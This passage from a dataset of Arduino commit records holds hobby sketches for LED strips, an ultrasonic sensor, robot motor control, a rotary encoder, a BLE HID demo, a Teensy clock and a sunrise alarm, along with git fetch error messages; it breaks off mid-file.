once\n","repos":"PaoloP74\/Arduino,majenkotech\/Arduino,tbowmo\/Arduino,tbowmo\/Arduino,NicoHood\/Arduino,tbowmo\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,tbowmo\/Arduino,bsmr-arduino\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,majenkotech\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,stickbreaker\/Arduino,PaoloP74\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,stickbreaker\/Arduino,majenkotech\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,tbowmo\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,PaoloP74\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,Chris--A\/Arduino,nandojve\/Arduino,bsmr-arduino\/Arduino,NicoHood\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,stickbreaker\/Arduino,Chris--A\/Arduino,stickbreaker\/Arduino,me-no-dev\/Arduino-1,me-no-dev\/Arduino-1,tbowmo\/Arduino,PaoloP74\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,PaoloP74\/Arduino,nandojve\/Arduino,nandojve\/Arduino,NicoHood\/Arduino,stickbreaker\/Arduino,bsmr-arduino\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,Chris--A\/Arduino,nandojve\/Arduino,Chris--A\/Arduino","old_file":"libraries\/WiFi\/examples\/WiFiUdpNtpClient\/WiFiUdpNtpClient.ino","new_file":"libraries\/WiFi\/examples\/WiFiUdpNtpClient\/WiFiUdpNtpClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bsmr-arduino\/Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"649e8ee046906dd95e99461e730eb1b2b560098d","subject":"Error in analogWrite parameter","message":"Error in analogWrite parameter","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"LCD TFT Screen\/lcd_2\/lcd_2.ino","new_file":"LCD TFT Screen\/lcd_2\/lcd_2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD' did not match any file(s) known to git\nerror: pathspec 'TFT' did not match any file(s) known to git\nerror: pathspec 'Screen\/lcd_2\/lcd_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bd90cc1c4a7e70e9668e26d3c0682933519b17bf","subject":"hmm, a dedicated command to read back queue length is nice \u2026","message":"hmm, a dedicated command to read back queue length is nice \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"37fb522bfe728ee5b33d7460144e8ff5475845ee","subject":"Create moving_colored_bars.ino","message":"Create moving_colored_bars.ino\n\nMight be useful for Xmas!","repos":"marmilicious\/FastLED_examples","old_file":"moving_colored_bars.ino","new_file":"moving_colored_bars.ino","new_contents":"\/\/***************************************************************\n\/\/ Moving colored bars\n\/\/ Original code by Richard Bailey, Feb. 2017\n\/\/\n\/\/ Modified to allow a few other options (which might be\n\/\/ useful for Chrismas!)\n\/\/ You'll probably need to adjust stuff for longer strips. I only\n\/\/ tested with a tiny 32 pixel setup.\n\/\/\n\/\/ Marc Miller, Dec 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n#define BRIGHTNESS 64\nCRGBArray<NUM_LEDS> leds;\n\n\n#define FRAME_DELAY 80 \/\/How fast to move (milliseconds)\n\n\n\/* Specify your colors and the order of those colors.\n You can create a longer section of a single color by\n listing it several times (such as green in this first\n example)\n Note: I used Grey instead of White here so it's not\n as bright compared to the other colors.\n*\/\nlong colorPallet[] = {CRGB::Green,CRGB::Grey,CRGB::Red,CRGB::Grey,CRGB::Red,CRGB::Grey,CRGB::Red,CRGB::Green,CRGB::Green,CRGB::Green};\n\/\/long colorPallet[] = {CRGB::Black,CRGB::Green,CRGB::Red};\n\/\/long colorPallet[] = {CRGB::Green,CRGB::Red};\n\/\/long colorPallet[] = {CRGB::Black,CRGB::Blue,CRGB::Yellow,CRGB::Purple}; \/\/Black can be used too of course.\n\n\nconst int numberofColors = sizeof(colorPallet)\/sizeof(int); \/\/Auto calculate your specified number of color bars\n\n\n\/* Play with setting the colorBarLength in different ways for slightly different effects. *\/\nint colorBarLength = 10; \/\/Some specific length\n\/\/int colorBarLength = NUM_LEDS-1; \/\/The full strip length per color\n\/\/int colorBarLength = NUM_LEDS\/2; \/\/Half the strip length per color\n\/\/int colorBarLength = NUM_LEDS\/numberofColors; \/\/Strip length divided by number of colors\n\n\n\nint frameCounter; \/\/These don't need to be changed\nint palletPosition;\nint colorBarPosition = 1;\nbool clearLEDS = false;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n EVERY_N_MILLISECONDS(FRAME_DELAY) {\n\n for (int x=0; x<NUM_LEDS-1; x++)\n {\n leds[x] = leds[x+1];\n }\n if (clearLEDS)\n {\n leds[NUM_LEDS-1] = colorPallet[palletPosition];\n }\n if ((colorBarPosition <= colorBarLength) && !clearLEDS)\n {\n leds[NUM_LEDS-1] = colorPallet[palletPosition];\n colorBarPosition++;\n }\n if ((palletPosition == numberofColors-1) && (colorBarPosition > colorBarLength) && !clearLEDS)\n {\n leds[NUM_LEDS-1]=colorPallet[palletPosition];\n palletPosition = 0;\n colorBarPosition = 1;\n clearLEDS= true;\n }\n if ((colorBarPosition > colorBarLength) && !clearLEDS)\n {\n colorBarPosition = 1;\n palletPosition = palletPosition+1;\n }\n \/\/if (clearLEDS && !leds(0,NUM_LEDS-1)) \/\/Not using this for of test any more\n if (clearLEDS && leds[0]==(CRGB)(colorPallet[numberofColors-1])) \/\/restarts as soon as last color makes it past the end\n {\n \/\/Serial.print( leds[0].r ); Serial.print(\"\\t\"), Serial.print( leds[0].g ); Serial.print(\"\\t\"), Serial.println( leds[0].b ); \/\/Print out RGB colors it's triggering on\n clearLEDS = false;\n }\n\n }\/\/end_EVERY_N\n\n FastLED.show();\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\n\/\/TODO:\n\/\/ Add option to run in reverse direction\n\/\/ Make some hot chocolate\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'moving_colored_bars.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4a7809a7b967e5bd13695a60a9f565438e6126c5","subject":"Code rewrite","message":"Code rewrite\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"81bc7b8392a81d8793aa186e2bc4caf6a58fc2e7","subject":"Help Han With Her Project","message":"Help Han With Her Project\n\nThis doesn\u2019t belong to me\u2026 Came from:\nhttp:\/\/howtomechatronics.com\/tutorials\/arduino\/ultrasonic-sensor-hc-sr04\n\/\n","repos":"TheGiraffe\/RoboBluetooth,TheGiraffe\/RoboBluetooth,TheGiraffe\/RoboBluetooth,TheGiraffe\/RoboBluetooth","old_file":"ultrasonicdistancesensorcode\/ultrasonicdistancesensorcode.ino","new_file":"ultrasonicdistancesensorcode\/ultrasonicdistancesensorcode.ino","new_contents":"\/*\n* Ultrasonic Sensor HC-SR04 and Arduino Tutorial\n*\n* Crated by Dejan Nedelkovski,\n* www.HowToMechatronics.com\n*\n*\/\n\/\/ defines pins numbers\nconst int trigPin = 9;\nconst int echoPin = 10;\n\/\/ defines variables\nlong duration;\nint distance;\nvoid setup() {\npinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\npinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\nSerial.begin(9600); \/\/ Starts the serial communication\n}\nvoid loop() {\n\/\/ Clears the trigPin\ndigitalWrite(trigPin, LOW);\ndelayMicroseconds(2);\n\/\/ Sets the trigPin on HIGH state for 10 micro seconds\ndigitalWrite(trigPin, HIGH);\ndelayMicroseconds(10);\ndigitalWrite(trigPin, LOW);\n\/\/ Reads the echoPin, returns the sound wave travel time in microseconds\nduration = pulseIn(echoPin, HIGH);\n\/\/ Calculating the distance\ndistance= duration*0.034\/2;\n\/\/ Prints the distance on the Serial Monitor\nSerial.print(\"Distance: \");\nSerial.println(distance);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ultrasonicdistancesensorcode\/ultrasonicdistancesensorcode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a638a7796a9563b45fcfd5e0e0397057a4bebf4f","subject":"add arduino code on nano","message":"add arduino code on nano\n","repos":"bloomlj\/wildrobot","old_file":"arduinocontrol\/arduinocontrol.ino","new_file":"arduinocontrol\/arduinocontrol.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint moto1_1 = 2;\nint moto1_2 = 3;\nint moto2_1 = 4;\nint moto2_2 = 5;\nint moto1_en = 6;\nint moto2_en = 9;\n\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600); \n \/\/ initialize the digital pin as an output.\n pinMode(moto1_1, OUTPUT); \n pinMode(moto1_2, OUTPUT); \n pinMode(moto2_1, OUTPUT); \n pinMode(moto2_2, OUTPUT); \n pinMode(moto1_en, OUTPUT); \n pinMode(moto2_en, OUTPUT); \n establishContact(); \/\/ send a byte to establish contact until receiver responds \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \n while (Serial.available() > 0) {\n \/\/ look for the next valid integer in the incoming serial stream:\n char cmd = Serial.read(); \n \/\/ do it again:\n int param = Serial.parseInt(); \n \/\/ look for the newline. That's the end of your sentence:\n if (Serial.read() == '#') {\n \n param = param*255\/10;\n\n if(cmd == 'F') {\n goFront(param);\n } \n if(cmd == 'B') {\n goBack(param);\n } \n if(cmd == 'L') {\n goLeft(param);\n } \n if(cmd == 'R') {\n goRight(param);\n }\n if(cmd == 'S') {\n goStop();\n }\n \n }\n \/\/echo rx values:\n Serial.print(\"-->\");\n Serial.print(cmd);\n Serial.println(param,HEX);\n \n }\n \n}\n\nvoid establishContact() {\n while (Serial.available() <= 0) {\n Serial.println(\"IC Welcome U!\"); \/\/ send an initial string\n delay(300);\n }\n}\n\n\/\/sp mean speed\nvoid goFront(int sp){\n digitalWrite(moto1_1, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(moto1_2, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(moto2_1, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(moto2_2, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n analogWrite(moto1_en, sp); \/\/\n analogWrite(moto2_en, sp); \/\/\n}\n\nvoid goBack(int sp){\n digitalWrite(moto1_1, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto1_2, HIGH); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto2_1, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto2_2, HIGH); \/\/ turn the LED off by making the voltage LOW\n analogWrite(moto1_en, sp); \/\/\n analogWrite(moto2_en, sp); \/\/\n}\n\nvoid goLeft(int sp){\n digitalWrite(moto1_1, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto1_2, HIGH); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto2_1, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(moto2_2, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n analogWrite(moto1_en, sp); \/\/\n analogWrite(moto2_en, sp); \/\/\n}\n\nvoid goRight(int sp){\n digitalWrite(moto1_1, HIGH); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto1_2, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto2_1, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(moto2_2, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n analogWrite(moto1_en, sp); \/\/\n analogWrite(moto2_en, sp); \/\/\n}\n\nvoid goStop(){\n digitalWrite(moto1_1, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto1_2, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(moto2_1, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(moto2_2, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinocontrol\/arduinocontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"49c6f65a33aa8bc7dd96ca808e3158537f4cc7ed","subject":"Changed Baud rate","message":"Changed Baud rate\n","repos":"sassystacks\/DASS","old_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit2_threading\/Final_Lidar_Pixy_code_RichardEdit2_threading.ino","new_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit2_threading\/Final_Lidar_Pixy_code_RichardEdit2_threading.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"77c620a2c9b16d9d838b21d52701b49260cbc5a6","subject":"Added files via upload","message":"Added files via upload","repos":"miikama\/pajakurssi","old_file":"encoder.ino","new_file":"encoder.ino","new_contents":"\/* Rotary encoder read example *\/\n#define ENC_A 14\n#define ENC_B 15\n#define ENC_PORT PINC\n \nvoid setup()\n{\n \/* Setup encoder pins as inputs *\/\n pinMode(ENC_A, INPUT);\n digitalWrite(ENC_A, HIGH);\n pinMode(ENC_B, INPUT);\n digitalWrite(ENC_B, HIGH);\n Serial.begin (115200);\n Serial.println(\"Start\");\n}\n \nvoid loop()\n{\n static uint8_t counter = 0; \/\/this variable will be changed by encoder input\n int8_t tmpdata;\n \/**\/\n tmpdata = read_encoder();\n if( tmpdata ) {\n Serial.print(\"Counter value: \");\n Serial.println(counter, DEC);\n counter += tmpdata;\n }\n}\n \n\/* returns change in encoder state (-1,0,1) *\/\nint8_t read_encoder()\n{\n static int8_t enc_states[] = {0,-1,1,0,1,0,0,-1,-1,0,0,1,0,1,-1,0};\n static uint8_t old_AB = 0;\n \/**\/\n old_AB <<= 2; \/\/remember previous state\n old_AB |= ( ENC_PORT & 0x03 ); \/\/add current state\n return ( enc_states[( old_AB & 0x0f )]);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'encoder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"547344efe22a1c881a6b2f16ca14866dd60b25dc","subject":"added beam effect for the strip lights","message":"added beam effect for the strip lights\n","repos":"stewartadam\/lulzsaber","old_file":"strip\/strip.ino","new_file":"strip\/strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stewartadam\/lulzsaber.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"db161154cc70e3c6c09df367f7df303125748b00","subject":"- initial GATT HID example","message":"- initial GATT HID example\n","repos":"pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral","old_file":"examples\/GATT_HID\/GATT_HID.ino","new_file":"examples\/GATT_HID\/GATT_HID.ino","new_contents":"\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEPeripheral.h>\n#include <BLEHID.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 6\n#define BLE_RDY 7\n#define BLE_RST 4\n\nBLEHID bleHID = BLEHID(BLE_REQ, BLE_RDY, BLE_RST);\n\nvoid setup() {\n Serial.begin(9600);\n#if defined (__AVR_ATmega32U4__)\n while(!Serial);\n#endif\n\n bleHID.begin();\n\n Serial.println(F(\"BLE HID\"));\n}\n\nvoid loop() {\n BLECentral central = bleHID.central();\n\n if (central) {\n \/\/ central connected to peripheral\n Serial.print(F(\"Connected to central: \"));\n Serial.println(central.address());\n\n while (bleHID.connected()) {\n if (Serial.available() > 0) {\n Serial.read();\n \n bleHID.write(0x1E); \/\/ 'a'\n }\n }\n\n \/\/ central disconnected\n Serial.print(F(\"Disconnected from central: \"));\n Serial.println(central.address());\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GATT_HID\/GATT_HID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95850454bcd1941a2e408ff11fcfdba151c50799","subject":"Adding example","message":"Adding example\n","repos":"kigster\/kiguino,kigster\/kiguino","old_file":"teensy3\/libraries\/TeensyRTC\/examples\/TeensyRTCExample.ino","new_file":"teensy3\/libraries\/TeensyRTC\/examples\/TeensyRTCExample.ino","new_contents":"\/*\n * TeensyRTCExample\n *\n * Created on: Nov 13, 2014\n * Author: Konstantin Gredeskoul\n * Code: https:\/\/github.com\/kigster\n *\n * (c) 2014 All rights reserved, MIT License.\n *\/\n\n#include <Time.h>\n#include <TeensyRTC.h>\n\nTeensyRTC rtc;\n\nchar stringBuffer[20];\n\ntime_t getTeensy3Time() {\n\treturn Teensy3Clock.get();\n}\n\nvoid logTime() {\n\trtc.formatTime(stringBuffer, rtc.currentTime());\n\tSerial.print(\"Current Time: \");\n\tSerial.println(stringBuffer);\n}\n\nvoid setup() {\n\tsetSyncProvider(getTeensy3Time);\n\n\tSerial.begin(115200);\n\tSerial.println(\"Starting sketch TeensyRTCExample\");\n\n\trtc.begin();\n}\n\nvoid loop() {\n logTime();\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'teensy3\/libraries\/TeensyRTC\/examples\/TeensyRTCExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e4a462783bdf6289857e0cb261ab21eac16ad53b","subject":"This is the version of the sunrise alarm for Kristy. This device has the RTC, the clock display, several buttons, and a constant current PWM power supply for a 12V LED that turned into an MR16 bulb.","message":"This is the version of the sunrise alarm for Kristy. This device has\nthe RTC, the clock display, several buttons, and a constant current PWM\npower supply for a 12V LED that turned into an MR16 bulb.\n","repos":"tstirlingc\/SunriseAlarm,tstirlingc\/SunriseAlarm","old_file":"SunriseAlarm.ino","new_file":"SunriseAlarm.ino","new_contents":"\/\/ Sunrise Alarm\n\/\/ Todd Coffey\n\/\/ Prototype in bedroom 2013-03-26\n\/\/ 2x 2N3904 transistors connected to pin3 through 2x 10kOhm resistors\n\/\/ These transistors are connected to 4x white LEDs through 100Ohm resistors to 5V.\n#include \"TimerOne.h\"\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n#include \"RTClib.h\"\n#include \"AT24Cxx.h\"\n\n\n\/\/ 2013-04-06 TODO: Add a temperature sensor to the lamp and if it exceeds a particular temperature, then turn it off or down\n\/\/ 2013-04-06 TODO: Add three LEDs inside the enclosure to indicate which mode you are in. E.g. green for alarm, blue for time, and red for sundown.\n\/\/ 2013-04-06 DONE 2013-04-06: Store SunSet alarm setting in EEPROM\n\/\/ 2013-04-06 DONE 2013-04-06: Store brigness level in EEPROM\n\/\/ 2013-04-06 DONE 2013-04-06: Change Alarm, Time, and Sundown modes so they will automatically exit the mode after 60 seconds of inactivity.\n\/\/ 2013-04-01 TODO: Box enclosure: Consider a OLED display behind a thin veneer of wood or paper so that the display can print\n\/\/ the numbers in a particular font, e.g. the old Russian Nixie tube font, or a Victorian font.\n\/\/ Also: Change all the switches to flip switches or knobs for a more retro feel.\n\/\/ Make sure each of the switches & knobs feels different so you can find them in the dark.\n\/\/ Alternative to the OLED display: Invest in nixie tubes\n\/\/ 2013-04-01 TODO: Change \"OffButton\" to allow you to see how much time is left and reset it\n\/\/ 2013-04-01 TODO: Rework SunRISE alarm to match the way the SunSET alarm works. Basically, use millis() instead of clock\n\/\/ DONE 2013-03-29: Add alarm & time mode so you don't have to hold down the buttons.\n\/\/ DONE 2013-03-30: Add SunSet mode\n\/\/ WONTFIX 2013-03-29: Add AM\/PM indicator\n\/\/ DONE 2013-03-29: Add method to toggle alarm on\/off\n\/\/ DONE 2013-03-28: Add hardware buttons for setting time and alarm\n\/\/ TODO: Add audio: chirping birds at alarm time\n\/\/ TODO: Add snooze button to delay chirping for 7 minutes or so\n\/\/ DONE 2013-04-17: Change light alarm so it is based on millis() rather than RTC \n\/\/ TODO: Get light updated more often, especially in third slope of alarm.\n\nnamespace SunriseAlarm {\n\nstruct ClockTime {\n ClockTime() : hour(0), minute(0), second(0) {}\n ClockTime(int h, int m) : hour(h), minute(m), second(0) {}\n ClockTime(int h, int m, int s) : hour(h), minute(m), second(s) {}\n ClockTime(DateTime dt) : hour(dt.hour()), minute(dt.minute()), second(dt.second()) {}\n ClockTime(const ClockTime & ct) : hour(ct.hour), minute(ct.minute), second(ct.second) {}\n ClockTime operator++(int) {\n ClockTime result(*this);\n ++this->minute;\n fixTime();\n return result;\n }\n ClockTime operator--(int) {\n ClockTime result(*this);\n --this->minute;\n fixTime();\n return result;\n }\n ClockTime & operator++() {\n ++this->minute;\n fixTime();\n return *this;\n }\n ClockTime & operator--() {\n --this->minute;\n fixTime();\n return *this;\n } \n void fixTime() {\n while (this->second > 59) {\n ++this->minute;\n this->second -= 60;\n }\n while (this->minute > 59) {\n ++this->hour;\n this->minute -= 60;\n }\n while (this->hour > 23) {\n this->hour -= 24;\n }\n while (this->second < 0) {\n --this->minute;\n this->second += 60;\n }\n while (this->minute < 0) {\n --this->hour;\n this->minute += 60;\n }\n while (this->hour < 0) {\n this->hour += 24;\n }\n }\n int hour;\n int minute;\n int second;\n};\n\n\nClockTime operator+(ClockTime lhs, int minutes) { \n lhs.minute+=minutes;\n lhs.fixTime();\n return lhs;\n}\n\n \nbool operator<(ClockTime lhs, ClockTime rhs) {\n if (lhs.hour < rhs.hour) {\n return true;\n }\n if (lhs.hour > rhs.hour) {\n return false;\n }\n \/\/ lhs.hour == rhs.hour\n if (lhs.minute < rhs.minute) {\n return true;\n }\n if (lhs.minute > rhs.minute) {\n return false;\n }\n \/\/ lhs.minute == rhs.minute\n if (lhs.second < rhs.second) {\n return true;\n }\n return false;\n}\n\nbool operator<=(ClockTime lhs, ClockTime rhs) {\n if (lhs.hour < rhs.hour) {\n return true;\n } \n if (lhs.hour > rhs.hour) {\n return false;\n }\n \/\/ lhs.hour == rhs.hour\n if (lhs.minute < rhs.minute) {\n return true;\n }\n if (lhs.minute > rhs.minute) {\n return false;\n }\n \/\/ lhs.minute == rhs.minute\n if (lhs.second <= rhs.second) {\n return true;\n }\n return false;\n}\n\nbool operator==(ClockTime lhs, ClockTime rhs) {\n if ((lhs.hour == rhs.hour) && (lhs.minute == rhs.minute) && (lhs.second == rhs.second)) {\n return true;\n } \n return false;\n}\n\nbool operator!=(ClockTime lhs, ClockTime rhs) {\n return !(lhs == rhs);\n}\n\nconst int LEDpinA = 9;\n\nconst int AlarmButton = 2;\nconst int TimeButton = 3;\nconst int FwdButton = 4;\nconst int RewButton = 5;\nconst int OffButton = 6;\n\nbool alarmEnabled = true;\nbool alarmActive = false;\n\nTimerOne timer;\nconst int16_t maxBright = 1024; \/\/ resolution of TimerOne::pwm (10 bits)\nconst int thirtyminutes = 1800; \/\/ 1800 seconds = 30 minutes\nconst int timerPeriod = 1000; \/\/ 1000us = 1 kHz flicker\nconst int16_t maxTime = 3600; \/\/ 1.0 hours\nconst int forward_delay = 15;\nconst int rewind_delay = 150;\n\nint defaultSunSetDelta = 15; \/\/ minutes\n\nconst unsigned long modeInactivePeriod = 30000; \/\/ 30 seconds\n\nAT24Cxx eeprom;\n\/\/ This is the time you want to get up. Lights will start 30 minutes before.\nClockTime alarmTime(5,00); \nClockTime startTime(4,30);\n\nconst int alarm_address = 0;\nconst int sundown_address = 2;\nconst int brightness_address = 3;\n\nAdafruit_7segment matrix = Adafruit_7segment();\nint matrixBrightness = 0;\n\nuint8_t raw_C = 0x39;\nuint8_t raw_l = 0x30;\nuint8_t raw_o = 0x5C;\nuint8_t raw_c = 0x58;\nuint8_t raw_A = 0x77;\nuint8_t raw_L = 0x38;\nuint8_t raw_r = 0x50;\nuint8_t raw_t = 0x78;\nuint8_t raw_d = 0x5E;\nuint8_t dot_bit = 0x80;\n\nRTC_DS1307 RTC;\nunsigned long synchronized_clock_millis;\nClockTime synchronized_clock_time;\nClockTime current_clock_time;\n\nbool readAlarmTimeFromEEPROM() {\n if (eeprom.isPresent()) {\n char buf[2];\n eeprom.ReadMem(alarm_address,buf,2);\n alarmTime.hour = static_cast<int>(buf[0]);\n alarmTime.minute = static_cast<int>(buf[1]);\n return true;\n }\n return false;\n}\n\nbool writeAlarmTimeToEEPROM() {\n if (eeprom.isPresent()) {\n char myBuf[2];\n myBuf[0] = static_cast<char>(alarmTime.hour); \n myBuf[1] = static_cast<char>(alarmTime.minute);\n eeprom.WriteMem(alarm_address,myBuf,2);\n return true;\n }\n return false;\n}\n\nbool readBrightnessFromEEPROM() {\n if (eeprom.isPresent()) {\n char buf[1];\n eeprom.ReadMem(brightness_address,buf,1);\n matrixBrightness = static_cast<int>(buf[0]);\n return true;\n }\n return false;\n}\n\nbool writeBrightnessToEEPROM() {\n if (eeprom.isPresent()) {\n char myBuf[1];\n myBuf[0] = static_cast<char>(matrixBrightness); \n eeprom.WriteMem(brightness_address,myBuf,1);\n return true;\n }\n return false;\n}\n\n\nbool readSunDownDeltaFromEEPROM() {\n if (eeprom.isPresent()) {\n char buf[1];\n eeprom.ReadMem(sundown_address,buf,1);\n defaultSunSetDelta = static_cast<int>(buf[0]);\n return true;\n }\n return false;\n}\n\nbool writeSunDownDeltaToEEPROM() {\n if (eeprom.isPresent()) {\n char myBuf[1];\n myBuf[0] = static_cast<char>(defaultSunSetDelta); \n eeprom.WriteMem(sundown_address,myBuf,1);\n return true;\n }\n return false;\n}\n\n\n\nint debounceInterval = 5;\nint debounceDigitalRead(int pin) {\n int lastResult = digitalRead(pin);\n unsigned long lastRead = millis();\n while (static_cast<unsigned long>(millis() - lastRead) < debounceInterval) {\n int result = digitalRead(pin);\n if (result != lastResult) {\n lastResult = result;\n lastRead = millis();\n }\n }\n return lastResult;\n}\n\nvoid turnLightOn(int currentLevel) {\n for (int i=currentLevel ; i < maxBright ; ++i) {\n timer.pwm(LEDpinA,i);\n delay(1);\n }\n digitalWrite(LEDpinA,HIGH);\n}\n\nvoid turnLightOff(int currentLevel) {\n for (int i=currentLevel ; i>0 ; --i) {\n timer.pwm(LEDpinA,i);\n delay(1);\n }\n digitalWrite(LEDpinA,LOW);\n}\n\nvoid waitForButtonDepress(int pin) {\n while (debounceDigitalRead(pin)==LOW) {\n delay(5);\n }\n}\n\n\/\/ 10W LED with big heatsink:\n\/\/const int minLightLevel = 176;\n\/\/const int maxLightLevel = 1008;\n\/\/ MR16 LED light with 3x3W LEDs:\nconst int minLightLevel = 320;\nconst int maxLightLevel = 